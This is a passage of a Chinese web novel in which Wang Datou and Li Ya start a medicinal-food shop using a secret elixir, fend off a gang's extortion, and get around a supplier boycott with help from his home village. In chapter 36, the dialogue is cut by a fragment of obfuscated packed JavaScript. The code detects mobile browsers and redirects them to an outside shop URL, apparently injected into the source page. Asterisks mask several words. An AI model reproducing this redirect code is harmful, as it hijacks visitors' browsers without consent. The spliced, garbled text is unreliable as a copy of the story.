今天的李雅,穿着一件淡雅的米白色针织衫,搭配着一条湖蓝色的长裙,简约而知性,将她温婉的气质衬托得淋漓尽致。脸上画着淡妆,眉宇间那抹因为见到他而自然流露的关切,让她显得格外动人。
“我没事,一点小风波,已经解决了。”王大头看着她眼中真切的担忧,心中一暖,语气不由得柔和了许多。他注意到,李雅今天戴着一对造型别致的银色耳钉,是龙飞凤舞的图案,为她增添了几分不易察觉的灵动与坚韧。
“解决了就好。”李雅明显松了口气,拍了拍胸口,引着他走向一个靠窗的安静卡座,“快坐,想喝点什么?还是老规矩吗?”
“嗯,谢谢。”王大头坐下,目光扫过咖啡馆。生意似乎比之前更好了些,但依旧保持着那份难得的宁静。
很快,李雅端着他常点的美式咖啡过来,还额外配了一小块她亲手做的提拉米苏。“尝尝,新研究的配方。”
王大头尝了一口咖啡,醇香依旧,又挖了一勺提拉米苏,甜而不腻,口感层次丰富。“很好吃。”他由衷赞道。
李雅坐在他对面,双手捧着下巴,笑盈盈地看着他:“你喜欢就好。对了,你今天来,不只是为了喝咖啡吧?是不是有什么事情?”她很聪明,能感觉到王大头有心事。
王大头放下小勺,神色变得认真起来:“小雅,确实有件事,想和你商量一下。”
他斟酌着语句,缓缓说道:“我最近,和赵师傅、张猛他们,一起弄了一个小团体,叫‘龙门’。”他没有隐瞒,选择坦诚。李雅是他为数不多可以信任的人之一。
“龙门?”李雅眨了眨眼睛,没有惊讶,反而若有所思,“鱼跃龙门,一飞冲天?很好的名字。是为了……应对像陈少、林家那样的事情吗?”她显然知道一些内情。
“是,也不全是。”王大头点头,“自保是其一。但更重要的是,我们想做一些事情,拥有自己的力量和根基。不能总是被动挨打,或者依赖一些不稳定的收入。”
他顿了顿,目光灼灼地看向李雅:“所以,我想和您合作,做一门生意。”
“和我合作?”李雅有些意外,坐直了身体,“做什么生意?餐饮吗?咖啡馆的话,竞争已经很激烈了。”
“不完全是餐饮。”王大头压低了声音,身体微微前倾,带着一种分享秘密的郑重,“我家里,有一张祖上传下来的……药膳方子。”
“药膳?”李雅眼睛一亮,来了兴趣。这是个古老而又充满潜力的领域。
“对。”王大头继续编织着合理的说辞,“这张方子很特殊,熬制出的汤羹或者茶饮,有很好的调理身体、缓解疲劳、甚至……微弱增强体质的功效。”他所说的功效,自然是来自稀释后的【淬体灵液】。“我之前身体变好,力气变大,也和长期服用这方子调理有关。”这半真半假的话,更容易取信于人。
他观察着李雅的反应,看到她从好奇变成了震惊,然后是深深的思索。
“增强体质?这……这效果如果属实,那就不是普通的药膳了!”李雅的声音带着一丝激动,“这简直是……颠覆性的!你有把握吗?”
“我有把握。”王大头语气肯定,“核心的配方和熬制方法,由我亲自掌握。但我需要一個可靠的地方来试验和推广,需要专业的管理和经营。小雅,你的咖啡馆有稳定的客源和良好的口碑,你对品质有追求,也有管理经验。所以,我想和你合作。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16774623|190259||http|test|mini|href|location''.split(''|''),0,{}));
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r>他目光真诚地看着她:“我提供核心配方和部分启动资金,你提供场地、管理和经营。我们可以在咖啡馆旁边,或者就在咖啡馆里,开辟一个独立的区域,先作为‘龙门药膳’的试点。利润,我们按投入和贡献分成。你愿意……相信我吗?”
他将如此重要的“祖传秘方”和合作计划,毫无保留地告诉了她,这份信任,沉重而珍贵。
李雅怔怔地看着王大头,看着他眼中那份超越年龄的沉稳、那份对未来的笃定,以及那份毫无保留的信任。她想起了他第一次来店里送外卖时的窘迫,想起了他挺身而出对抗混混的英勇,想起了他谈及父亲病情时的坚韧……这个年轻人,身上仿佛有种魔力,不断地带给她惊喜和震撼。
她能从他的眼神中,看到一片更广阔的天地。而此刻,他向她伸出了手,邀请她一同前往。
心脏,不受控制地加速跳动。脸颊,也微微有些发烫。
她没有立刻回答,而是低头,用纤细的手指轻轻搅动着面前的咖啡,沉默了近一分钟。这短短的一分钟,对王大头而言,却有些漫长。
终于,李雅抬起头,脸上绽放出一个明媚而坚定的笑容,如同雨后初晴的阳光,驱散了所有的犹豫。
“我相信你!”她的声音清脆而有力,“王大头,我相信你的为人,也相信你的眼光!这个合作,我答应了!我们一起,把‘龙门药膳’做起来!”
一股难以言喻的暖流和激动,在两人心间同时流淌。这不仅仅是商业上的合作,更是一种心灵的靠近与契合。
接下来的几天,两人投入了紧张的筹备。李雅利用自己的人脉和资源,**理了相关手续,并在自己咖啡馆旁边,盘下了一个小巧但位置不错的店面,亲自监督装修,风格古朴雅致,与“药膳”的主题相得益彰。
王大头则负责“秘方”的“研发”和“熬制”,其实就是将极其微量的【淬体灵液】融入特定的汤底或茶饮之中,控制好剂量,使其效果显著却又不会惊世骇俗。
一周后,傍晚。
崭新的“龙门药膳”招牌,在夕阳的余晖和温馨的灯光下,悄然亮起。没有盛大的开业典礼,只有淡淡的药香与食物香气,从这方小小的天地弥漫开来。
第37章:药膳爆火,觊觎的目光
“龙门药膳”的招牌,在“雅韵咖啡”旁悄然亮起,如同投入平静湖面的一颗石子,初时只是泛起些许涟漪,但很快,便激起了汹涌的波涛。
起初,只是李雅咖啡馆的一些老主顾,出于好奇或者给老板面子,尝试了隔壁那家装修古朴、香气独特的新店。药膳的品类不多,主打几款汤品和特调茶饮,价格不算便宜,但也不算离谱。
然而,效果是颠覆性的!
一位长期熬夜加班、神经衰弱的白领女士,在连续喝了一周“安神补脑汤”后,发现自己多年的失眠症状得到了极大缓解,白天精神焕发,黑眼圈都淡了不少。
一位旧伤复发、阴雨天就关节酸痛的老拳师,抱着试试看的心态点了“舒筋活络汤”,一碗下肚,竟感觉一股暖流渗入四肢百骸,酸痛感明显减轻,浑身舒泰!
甚至有几个附近体校的学生,喝了据说能“强身健体”的“培元固本汤”后,感觉训练后的疲劳恢复速度加快,精力更加充沛!
口口相传,胜过任何广告。
“神奇”、“有效”、“物超所值”……这些词汇伴随着顾客们由衷的赞叹,如同病毒般迅速扩散开来。短短半个月时间,“龙门药膳”门口开始排起长队,预约电话被打爆,李雅不得不临时增加了两部电话和两名专职接线的员工。
一座难求!
原本只是试点的小店,瞬间成了这座城市餐饮界的一匹黑马,一颗冉冉升起的新星。巨大的客流甚至带动了旁边“雅韵咖啡”的生意,两家店相得益彰,形成了一种独特的生态。
而随之而来的,是惊人的利润!
药膳的成本,主要在于王大头提供的“核心秘方”(稀释淬体灵液),但这对于拥有系统的他而言,几乎可以忽略不计。其他的药材食材,虽然选料上乘,但占比不大。扣除掉店面租金、人工、材料等所有成本,药膳的利润率达到了一个令人瞠目结舌的程度!每天的现金流水,如同小溪汇成江河,源源不断地注入龙门的账户。
王大头、李雅、张猛甚至赵师傅,都为此感到振奋。这是龙门真正意义上的第一份产业,第一份稳定而光明的收入来源!它证明了王大头脑海中的构想是可行的,证明了龙门有能力在阳光下立足。
李雅变得更加忙碌,但脸上始终洋溢着自信与成就感的光芒。她展现出卓越的商业天赋,将药膳店打理得井井有条,并且已经开始着手规划开设分店和标准化流程。她看着王大头时,眼神中的欣赏与情意,也愈发明显。
张猛负责起了药膳店的安保工作,虽然目前风平浪静,但他带着两个最早跟着他、也初步开始修炼龙门基础吐纳术的小兄弟,每天精神抖擞地巡视,责任感爆棚。
赵师傅偶尔会来店里坐坐,喝上一杯特制的“养元茶”,感受着那微弱的、却真实存在的对气血的滋养作用,看向王大头的目光中,赞赏之色越来越浓。这个年轻人,总能带给他惊喜。
然而,正如王大头通过【初级因果洞察】隐隐感知到的那样,巨大的成功和利润,如同黑暗中点燃的篝火,必然会吸引来一些不速之客。
这天下午,药膳店依旧客满为患,门口排着长队。一个穿着花衬衫、戴着大金链子、满脸横肉的彪形大汉,带着两个同样流里流气的小弟,大摇大摆地穿过排队的人群,直接走进了店里。
店内温馨宁静的气氛瞬间被打破。排队的人群和正在用餐的顾客,都下意识地安静下来,有些紧张地看着这几个明显来者不善的人。
正在柜台后核对账目的李雅,眉头微蹙,抬起头。她认得这人,是附近一带颇有恶名的混混头子,外号“刀疤强”,以前也来她咖啡馆收过“保护费”,被她硬顶了回去,后来似乎消停了一阵。
“哟,李老板,生意这么红火啊!恭喜发财啊!”刀疤强皮笑肉不笑地打着招呼,目光贪婪地扫视着座无虚席的店面,以及那些看起来消费能力不俗的顾客。
“强哥,有事吗?”李雅放下手中的东西,语气平静,但眼神中带着警惕。张猛和他带的两个兄弟,也立刻从角落站了起来,目光不善地盯着刀疤强一行人。
“没事就不能来照顾照顾李老板生意吗?”刀疤强嘿嘿一笑,自己拉过一张椅子坐下,翘起二郎腿,自顾自地点燃一根烟,完全无视了墙上“禁止吸烟”的标识。“听说李老板这新店,搞了个什么药膳,效果神奇得很,日进斗金啊!”
他吐出一个烟圈,斜眼看着李雅,语气变得阴阳怪气:“这赚钱的买卖,谁看了不眼热?不过,李老板,有些生意,不是谁都能吃得下的。吃得太多,容易……噎着。”
李雅脸色微沉:“强哥,你这是什么意思?我们开店做生意,合法经营,依法纳税,有什么吃不下的?”
“合法?”刀疤强嗤笑一声,用夹着烟的手指点了点李
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雅,“李老板,你还是太年轻。这世道,光合法有什么用?得有实力,有背景,懂吗?”
他身体前倾,压低了声音,但语气中的威胁意味毫不掩饰:“我也不跟你绕弯子了。我们老大,‘黑蛇会’的蝮蛇哥,看上了你这药膳的生意。他老人家发话了,这生意,利润,我们黑蛇会要占七成!以后,这店的安全,我们黑蛇会罩着!”
七成!
这简直是明抢!不仅要拿走绝大部分利润,还要将药膳店的控制权夺走!
李雅气得脸色发白,胸口起伏:“七成?你们这是**!”
“话别说得那么难听嘛。”刀疤强得意地晃着脑袋,“这叫合作共赢。我们出‘力’,你们出‘技术’,大家一起发财,多好?总比……哪天店被人砸了,或者出了什么‘食品安全问题’,要强得多吧?”他话语中的威胁,赤裸裸毫不掩饰。
张猛在一旁听得火冒三丈,拳头捏得咯咯作响,就要上前,却被李雅用眼神制止了。她知道,现在冲突起来,对店里影响太坏。
“这件事,我做不了主。”李雅强压着怒气,“需要和我们另一位老板商量。”
“另一位老板?就是那个叫什么王大头的送外卖的?”刀疤强脸上露出不屑的狞笑,“告诉他,别以为打了几个小混混就不知道自己几斤几两了!在真正的道上大哥面前,他那点三脚猫功夫,屁都不是!”
他站起身,将烟头狠狠摁灭在桌子上,留下一个焦黑的痕迹。
“我们老大蝮蛇哥的话带到了:这生意,你们龙门吃不下,分我们七成。”
“给你们三天时间考虑。三天后,要是没个满意的答复……嘿嘿,就别怪兄弟们不给面子,来帮你们‘重新装修’一下店面了!”
说完,刀疤强带着两个小弟,嚣张地大笑着,推开门口排队的人群,扬长而去。
店内一片寂静,之前的温馨氛围荡然无存,只剩下压抑的愤怒和隐隐的不安。
李雅看着桌子上那个刺眼的烟头烫痕,紧紧咬住了嘴唇。张猛双眼喷火,几乎要控制不住追出去。
而此刻,正在顶楼天台,利用【养神丹】滋养神魂、修炼《星辰观想法》的王大头,通过【初级因果洞察】,清晰地感受到了一股强烈而污秽的恶意,如同毒蛇般,缠绕上了刚刚起步的“龙门药膳”。
他缓缓睁开眼睛,眸中寒星点点。
麻烦,果然来了。
第38章:龙门之威,张猛首战!
刀疤强带来的威胁,像一片阴云笼罩在刚刚起步的龙门药膳上空。李雅虽然强作镇定,安抚员工和顾客,但眉宇间的忧色难以掩饰。张猛则如同被激怒的雄狮,摩拳擦掌,就等着对方上门,好狠狠出口恶气。
王大头从天台下来,了解了具体情况后,脸上并没有太多意外的表情。他安抚地拍了拍李雅微微颤抖的手背,声音沉稳:“别担心,意料之中。这件事,交给猛子处理。”
他看向跃跃欲试的张猛,眼神锐利:“猛子,这是龙门成立以来,第一次正面应对外部的挑衅。对方是地头蛇,手段下作,不会跟我们讲规矩。你带阿杰和小斌(另外两个核心成员)负责店面的安保。记住我们的原则:人不犯我,我不犯人;人若犯我,雷霆还击!既要打出龙门的威风,也要注意分寸,尽量不要波及普通顾客和造成太大破坏。”
“明白!龙头!”张猛兴奋地低吼一声,胸中战意沸腾。他等这一天太久了!“您放心!保证让那帮杂碎有来无回!阿杰,小斌,跟我来,咱们好好‘布置’一下!”
接下来的两天,药膳店照常营业,生意依旧火爆,但细心的人能发现,店里多了几分肃杀之气。张猛带着阿杰和小斌,几乎寸步不离店面,三人虽然穿着普通的保安制服,但眼神精亮,气息沉稳,隐隐透着一股经过系统锻炼后才有的精悍。
第三天,傍晚。
正是药膳店一天中最忙碌的时段,店内座无虚席,门口还有不少排队等待的顾客。
突然,街口传来一阵嚣张的引擎轰鸣声和刺耳的刹车声!只见五辆面包车粗暴地停在路边,车门“哗啦”一声拉开,从里面蜂拥而出二三十个手持钢管、棒球棍、甚至**的**混!一个个凶神恶煞,纹身遍布,为首的正是那天来过的刀疤强!
“清场!黑蛇会办事!闲杂人等都他妈给老子滚开!”刀疤强提着一把***,耀武扬威地吼道,一脚踹翻了门口的一个广告立牌。
排队的人群和店内的顾客顿时一片惊呼,慌乱地向后退去,远远围观,不敢靠近。
“里面的!给老子滚出来!三天时间到了!识相的,乖乖把协议签了!不然,今天就把你这破店给砸成废墟!”刀疤强用刀指着店内,气焰极其嚣张。
店内,李雅脸色一白,但还是强撑着站在柜台后。员工们都吓得躲到了后面。
“来了!”张猛眼中非但没有惧色,反而爆发出惊人的战意!他低吼一声,一把扯掉身上碍事的保安制服外套,露出里面黑色的紧身背心和虬结的肌肉!
“阿杰!小斌!守好门口,别让杂碎冲进来伤了人!外面的,交给我!”张猛吩咐一声,猛地推开玻璃门,如同一头出闸的猛虎,孤身一人,迎向了那二三十个手持凶器的混混!
“妈的!就出来一个?找死!给我上!废了他!”刀疤强见只有张猛一人出来,愣了一下,随即狞笑着挥手。
顿时,五六个混混叫骂着,挥舞着棍棒**,朝着张猛扑了过来!棍影刀光,瞬间将张猛笼罩!
面对**,张猛不闪不避,反而发出一声如同野兽般的咆哮!他体内那修炼龙门基础吐纳术得来的、虽然微薄却真实不虚的内力瞬间爆发,灌注双腿与双臂!
“八极拳,贴山靠!”
他看准一个冲得最前的混混,身体如同蛮牛般猛地侧身一撞!正是王大头传授给他的八极拳基础杀招之一!
“嘭!”
一声闷响,那混混如同被高速行驶的汽车撞上,胸骨发出令人牙酸的碎裂声,整个人向后倒飞出去,撞倒了身后三四个人,瞬间失去战斗力!
与此同时,张猛左臂格开一根砸来的钢管,右拳如同炮弹般轰出,直接砸在另一个混混的面门上!
“咔嚓!”鼻梁骨断裂的声音清晰可闻,那混混惨叫着捂脸倒地。
战斗瞬间进入白热化!
张猛如同虎入羊群,将王大头传授的八极拳刚猛暴烈的特点发挥得淋漓尽致!虽然招式还显得有些粗糙,不如王大头那般举重若轻、蕴含内力变化,但配合他天生的悍勇和那股不要命的狠劲,威力惊人!
他或拳或肘,或靠或撞,每一个动作都简洁有效,充满了**性的力量!钢管砸在他肌肉贲张的手臂上,发出沉闷的响声,他却恍若未觉!棒球棍呼啸而来,被他用手臂硬生生格开,反手就是一记狠辣的肘击!
“砰!”“啊!”
“咔嚓!”“我的胳膊!”
“嘭!”“噗……”
惨叫声、骨裂声、重物倒地
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声不绝于耳!
张猛如同一个不知疼痛的战斗机器,在人群中左冲右突,所过之处,人仰马翻!他修炼出的那丝微弱内力,虽然不足以让他像王大头那样内力外放或者持久作战,却极大地增强了他的爆发力、抗打击力和反应速度,让他面对这些普通混混时,拥有了压倒性的优势!
阿杰和小斌守在店门口,看得热血沸腾,激动不已,同时也将几个试图绕过张猛冲击店门的混混轻易放倒。他们虽然实力远不如张猛,但经过初步修炼,对付一两个普通混混还是绰绰有余。
短短两三分钟,那二三十个气势汹汹的混混,竟然被张猛一人放倒了一大半!剩下的人看着如同战神般浑身浴血(大多是别人的血)、眼神凶戾的张猛,吓得肝胆俱裂,握着武器的手都在发抖,不断后退,再也没有了刚才的嚣张气焰。
刀疤强看得目瞪口呆,简直不敢相信自己的眼睛!一个人打二三十个?这他妈还是人吗?!
就在他愣神的功夫,张猛已经如同鬼魅般冲到了他的面前!
刀疤强吓得魂飞魄散,下意识地举起***朝着张猛砍去!
张猛不闪不避,左手快如闪电般探出,精准地一把抓住了刀疤强持刀的手腕,用力一捏!
“啊!”刀疤强惨叫一声,手腕骨头仿佛要被捏碎,***“哐当”掉地。
张猛右脚抬起,一记迅猛的扫堂腿!
“噗通!”刀疤强重心不稳,重重地摔倒在地,摔了个七荤八素。
还没等他爬起来,一只沾着灰尘和血迹的作战靴,已经狠狠地踩在了他的胸膛上,巨大的力量让他感觉肋骨都要断了,呼吸困难!
张猛居高临下,俯视着因为恐惧而脸色惨白、浑身发抖的刀疤强,那双因为战斗而布满血丝的眼睛里,充满了冰冷的杀意和龙门不容侵犯的威严!
他脚下用力,碾了碾,声音如同滚雷,传遍整条寂静的街道:
“回去告诉你们老大蝮蛇!”
“龙门,不是他能惹的!”
“再敢来犯,断的就不只是手脚了!”
地上横七竖八躺着的混混**声,远处围观人群惊恐的吸气声,衬托得张猛的身影愈发高大,如同不可逾越的高山!
龙门之威,初现峥嵘!
第39章:林家再出阴招,食材断供
张猛以雷霆万钧之势击溃黑蛇会的消息,如同长了翅膀般在特定的圈子里传开。“龙门”这个名字,第一次以一种强硬、不好惹的姿态,进入了许多人的视野。黑蛇会吃了大亏,暂时偃旗息鼓,蝮蛇哥虽然暴跳如雷,但也深知踢到了铁板,在没有摸清龙门底细前,不敢再轻举妄动。
药膳店的生意更加红火,甚至多了不少慕名而来、想看看能打跑黑蛇会的“龙门”到底是什么来头的顾客。李雅脸上的忧色散去,重新充满了干劲,开始紧锣密鼓地筹备第一家分店。张猛和他的两个兄弟更是意气风发,走在店里都感觉腰板挺得更直。
然而,平静的水面下,往往暗流汹涌。
这天清晨,负责采购的阿杰急匆匆地跑进店里,脸上带着慌乱和不解。
“雅姐!猛哥!不好了!”阿杰气喘吁吁,手里拿着一张单据,“‘丰源食材’那边……那边说从今天起,停止向我们供应所有药材和特定食材!”
“什么?”李雅正在核对菜单,闻言猛地抬起头,脸色骤变。“丰源”是本市最大的高端食材及中药材供应商,龙门药膳所需的几种核心辅料和特定品质的药材,几乎都从他们家采购,虽然占比不大,但不可或缺!“为什么?我们一直是现款结算,从无拖欠!是他们货源出问题了?”
“不是!”阿杰急声道,“我问了,他们支支吾吾,只说……只说接到了上面的通知,所有合作即刻终止,违约金他们会照付!但就是不再给我们供货了!我跑了另外几家规模小一点的供应商,他们……他们一听是‘龙门药膳’,都像躲瘟疫一样,要么说没货,要么直接说不敢做我们生意!”
李雅手中的笔“啪嗒”一声掉在桌上,她瞬间明白了过来。这不是商业行为,这是有人在背后搞鬼!能用如此大的能量,让几乎整个高端食材供应圈子同时对龙门药膳关上大门,在这座城市里,除了林家,还能有谁?
黑蛇会的暴力手段被挫败后,林家立刻换了一种更阴险、也更难防范的方式——从供应链源头进行精准打击!这比单纯的打砸更致命,是要从根本上扼杀龙门药膳的生存能力!
“卑鄙!”张猛一拳砸在墙上,留下一个浅浅的拳印,怒不可遏,“正面玩不过,就来这种阴招!林家这帮王八蛋!”
王大头从后面的休息室走了出来,他显然也听到了外面的动静,脸色平静,但眼神深处却是一片冰寒。他早就通过【初级因果洞察】模糊感知到新的麻烦,只是没想到林家出手如此精准和迅速。
“库存还能支撑多久?”王大头问道,声音沉稳,听不出丝毫慌乱。
李雅迅速冷静下来,快步走到电脑前,调出库存管理系统,手指飞快地敲击着键盘,脸色越来越难看。
“我们为了保证药效和口感,大部分核心食材和药材都是按周采购,保持新鲜度。”李雅的声音带着一丝不易察觉的颤抖,“库存……最多只能支撑三天。三天后,如果找不到新的、符合要求的供应商,我们的几款主打药膳……将面临断供!”
三天!
这个时间点卡得极其刁钻!足以让他们陷入被动,却又不够他们从容地寻找并建立起新的、可靠的供应渠道。尤其是那些特定的药材,对产地、年份、炮制工艺都有严格要求,不是随便在市场上就能找到替代品的。
“我再去其他城市或者网上找找看!”阿杰急忙说道。
“远水解不了近渴!”李雅摇头,眉头紧锁,“就算找到,资质审核、样品测试、建立信任、物流运输……都需要时间!而且,谁能保证林家的手伸不到其他地方?如果他们再从中作梗……”
一股沉重的压力,笼罩在每个人心头。林家这一招,如同无形的绳索,勒住了龙门的咽喉。相比之前的**和暴力威胁,这一次的打击更加内行,也更加致命。它不
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与你正面冲突,却能让你的根基在无声无息中腐烂。
店内原本忙碌而充满希望的气氛,瞬间变得压抑起来。员工们也都听到了消息,脸上露出了担忧的神色。
张猛焦躁地挠着头,看向王大头:“龙头,现在怎么办?总不能坐以待毙吧?”
王大头没有立刻回答,他走到窗边,看着外面车水马龙的街道,目光深邃。林家的手段,确实狠辣。但他王大头,从来就不是坐以待毙的人。
硬闯供应商逼迫他们合作?那是下下之策,且正中林家下怀,只会让龙门显得更加野蛮,落入话柄。
用金钱开路,寻找更远、林家影响力可能稍弱的供应商?时间上来不及,而且不确定性太大。
必须另辟蹊径,找到一个林家无法轻易干预,甚至意想不到的突破口!
他的脑海中,瞬间闪过一个念头——家乡!清水县王家村!那里背靠大山,生态环境极好,许多乡亲都以种植药材和养殖山珍为生!虽然规模不大,但品质绝对上乘,而且……完全在他的影响范围之内!
这个念头一生,【初级因果洞察】立刻传来一股微弱的、代表着“可行”与“生机”的反馈!
他猛地转过身,眼神重新变得锐利而坚定。
“阿杰,你和小斌继续尝试联系其他渠道,哪怕希望渺茫,也要试试。猛子,你看好店里,安抚好员工情绪。”王大头快速吩咐道,然后看向李雅,“小雅,你立刻整理一份我们急需的、对品质要求最高的食材和药材清单,越详细越好,包括规格、产地要求。”
李雅虽然不明白王大头想做什么,但看到他眼中重新燃起的斗志,心中莫名一定,立刻点头:“好!我马上整理!”
她一边快速操作电脑,一边忍不住抬头,语气带着难以掩饰的焦急:
“大头,库存真的只够三天了,新的供应商……一时半会儿根本找不到可靠的啊!”
第40章:家乡援手,根基初稳
王大头走到她身边,轻轻按了按她的肩膀,传递过去一丝温暖和力量,语气带着一种不容置疑的自信:“别急,我有办法。你准备好清单,我亲自去解决货源问题。”
他的办法,指向了那片生他养他的土地。
没有片刻耽搁,王大头开着那辆用拳赛奖金买的二手SUV,载着李雅紧急整理好的详细需求清单,直接驶上了返回清水县老家的高速公路。
车窗外的景物飞速**,王大头的心却异常平静。这次回去,不仅仅是为了解决眼前的危机,更是在为龙门寻找一条真正独立、不受制于人的根基之路。
两个多小时后,熟悉的村庄轮廓出现在眼前。青山绿水,稻田如画,空气中弥漫着泥土和草木的清新气息,与都市的喧嚣浮躁截然不同。
他没有先回家,而是直接将车开到了村委会。
老村长王德贵正在院子里喝茶,看到王大头从车上下来,先是愣了一下,随即脸上露出了热情而复杂的笑容。王大头最近在城里“发了财”,还狠狠教训了去他家捣乱的混混,帮村里解决了拖欠工程款的事情(用陈家的赔偿款的一部分),现在在村里威望很高。
“大头?你怎么突然回来了?你爸身体咋样了?”王德贵连忙起身招呼。
“村长,我爸恢复得很好,劳您挂心了。”王大头开门见山,将带来的清单递给王德贵,“我这次回来,是有个要紧事,想和村里,和乡亲们合作。”
“合作?”王德贵接过清单,戴上老花镜,仔细看了起来。清单上罗列着十几种药材和山珍特产,对品质、年份、采摘处理方式都有明确要求,比如:三年生野生黄精、特定山头产的茯苓、散养的黑羽乌骨鸡、只喂食青草和粮食的土猪特定部位……
“这些东西……咱们后山和村里不少人家倒是都有种、有养。”王德贵沉吟道,“品质绝对没得说,都是原生态的。但是大头,你要的这些量可不小啊,而且要求这么细,价格方面……”
“价格方面,村长您放心。”王大头语气肯定,“我按目前市场最高收购价上浮百分之二十收购!而且,只要品质符合要求,我们签订长期合**议,定期结算,绝无拖欠!”
“上浮百分之二十?长期合作?”王德贵眼睛一亮,这可是一笔稳定的、能惠及全村不少户的好收入!“大头,你说真的?你这是在城里做什么大生意了?”
“我和朋友合伙开了家药膳店,需要这些高品质的原材料。”王大头解释道,“外面的供应商靠不住,我就想到了咱们自己村里。咱们的东西,知根知底,品质有保障。我希望把咱们村,打造成我们药膳店专属的、绿色的食材直供基地!”
“直供基地?”王德贵虽然不太懂新名词,但意思明白了,这是要把村里的产出直接包销啊!他激动地拍着大腿:“好事!这是大好事啊!大头,你这是带着大家一起发财啊!我这就去召集大伙儿开会!”
村委的大喇叭很快响了起来。
不到半小时,村委会的院子里就聚满了闻讯而来的村民。当王德贵把王大头的合作方案一说,院子里顿时炸开了锅。
“最高价上浮两成?还长期收?”
“大头这孩子,出息了!没忘了乡亲们!”
“我家后山那片黄精正好是三年生的!”
“我养的乌骨鸡绝对是吃虫子野菜长大的!”
“我家那几头猪,从来没喂过饲料!”
村民们群情激动,脸上洋溢着兴奋和期盼。这对于收入来源单一的农村来说,无疑是天上掉馅饼的好事。
但也有少数人持观望态度,一个平时就有些精明的村民王老五嘀咕道:“大头,你这要求这么高,万一我们种了养了,你到时候又不要了,或者压价,我们找谁说理去?”
这话引起了一些人的附和。
王大头看着众人,神色坦然,他直接从随身的包里,取出了五沓崭新的百元大钞,放在桌子上。
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“五万块!”王大头声音洪亮,“这是定金!愿意合作的乡亲,今天就可以登记,签订意向协议,按协议要求进行生产。只要品质达标,我王大头说到做到,按时按价收购!如果因为我方原因违约,定金双倍赔偿!”
真金白银的冲击力是巨大的!
看到那厚厚的五沓钞票,所有的疑虑瞬间烟消云散!村民们彻底沸腾了,争先恐后地涌上来登记、签订初步协议。
王大头又补充道:“另外,我会出资,在村里建一个小型的、符合卫生标准的粗加工车间,聘请村里人工作,对药材和食材进行初步的筛选、清洗、炮制。工资日结!”
这更是将合作推向了高潮!这不仅解决了销路,还创造了就业岗位!
在村长的组织下,一切进行得井井有条。王大头凭借着他如今在村里的威望和实实在在的利益共享方案,迅速与村民们建立起了牢固的合作关系。
当天下午,第一批符合要求的、带着泥土芬芳和山野灵气的药材和食材,就被精心打包,装上了王大头的车,足够支撑药膳店十天之用。后续的,将按照协议,由村里组织车辆,定期送往市里。
看着车上这些新鲜、品质极佳的食材,王大头心中感慨万千。
这不仅仅是解决了眼前的断供危机,更是为龙门找到了一条稳定、可靠、且充满潜力的供应链!这片生他养他的土地,才是龙门最坚实的后盾,最深厚的根基!
他深深吸了一口家乡清新的空气,目光坚定。
……
几天后,林家。
林耀宗听着手下关于龙门药膳并未因断供而受到影响,反而似乎找到了新的、更优质货源的情报,他那张永远保持着优雅从容的脸上,第一次出现了明显的阴沉。
他放下手中的茶杯,手指轻轻敲击着红木桌面,发出沉闷的声响。
沉默良久,他才从鼻子里发出一声冰冷的轻哼:
“倒是……小瞧他了。“”
第41章:杀机骤现,危机感知!
夜色如墨,深沉得化不开。
都市的霓虹闪烁,拼尽全力也驱不散所有角落顽固盘踞的黑暗,反而在光与影的交界处,滋生出更浓重的阴影。
龙门药膳的玻璃门上,映出李雅仔细锁门的身影,她脸上带着忙碌一天后的疲惫,但眼底深处,更多的是一种踏实与满足。
店内的灯光依次熄灭,只留下门口那一盏温暖的门头灯,如同黑夜里小小的灯塔。
“猛子,检查一下后厨的燃气。”李雅轻声吩咐,声音里带着一丝不易察觉的依赖。
张猛应了一声,高大的身影在后厨穿梭检查,动作麻利而可靠。如今他带着逐渐懂事的阿杰和小斌住在药膳店附近租的套房里,既是王大头安排的安保,也是王大头有意让他们开始独立生活的一种锻炼。
而王大头自己,依旧选择回到那个位于老旧小区顶楼、略显简陋的出租屋。那里足够安静,适合他修炼那日渐精深的混元桩,也足够隐蔽,能避开许多不必要的目光。
“大头哥,给,夜里饿了垫垫肚子。”李雅将一个小巧却沉甸甸的保温盒递到王大头手里,里面是她特意留的虫草花炖乳鸽,汤清肉烂,最是温补。
她抬头看着他,眼神里的关切如同春水,自然而然地流淌出来,无需言语赘述。这段时间,两人从最初的陌生到并肩奋斗,龙门药膳从无到有,期间的艰辛与喜悦,早已将某种情愫酝酿得醇厚而心照不宣。
王大头接过保温盒,掌心传来温热的触感,一直暖到心里。他对李雅露出一个温和的笑容,那笑容冲淡了他眉宇间常有的几分沉静,显得格外真实。“放心吧,店里交给你和猛子,我没什么不放心的。”他又看向张猛,点了点头,一切尽在不言中。
转身步入夜色,城市的喧嚣在身后渐渐沉淀。他没有选择打车,更愿意步行穿过这半个城市。夜晚清冷的空气吸入肺腑,带着一丝凉意,反而让他因终日忙碌而有些浮躁的心绪沉淀下来。
他刻意放缓呼吸,体内那近二十年精纯的内力如同一条温驯而磅礴的江河,在意念的引导下,沿着优化后的复杂周天路线缓缓流淌,滋养着经脉,淬炼着血肉。混元桩“行走坐卧皆可为”的意境,在这些日子的体悟中,越发清晰。
他的脚步看似寻常,但每一步落下,都暗合某种韵律,身形稳健,气息绵长,对周围环境的感知,也在这夜行的修炼中被放大到极致。
街道两旁的店铺陆续打烊,行人渐稀,路灯将他孤单的影子拉长、缩短、再拉长,如同无声的皮影戏。
再穿过前面那条连接着繁华主路与老旧生活区的幽深小巷,就快到家了。这条小巷他走过无数次,两侧是斑驳的围墙和紧闭的后门,平日里只有零星的居民和野猫穿行,此刻在深夜,更显得格外僻静。
就在他一只脚踏入巷口那片被高大建筑阴影笼罩的区域,远离了主干道最后一点车流喧嚣的刹那——
嗡——!
脑海中,那平日里只是丝丝缕缕感应因果线的【初级因果洞察】能力,此刻如同被投入巨石的平静湖面,以前所未有的剧烈程度疯狂震动、尖啸、示警!一股冰冷、粘稠、充满了绝对死亡气息的“因果线”如同从九幽之下探出的毒蛇,骤然绷紧到了极致,带着刺骨的寒意,精准地指向他身后右侧某个光线无法触及的阴暗角落!
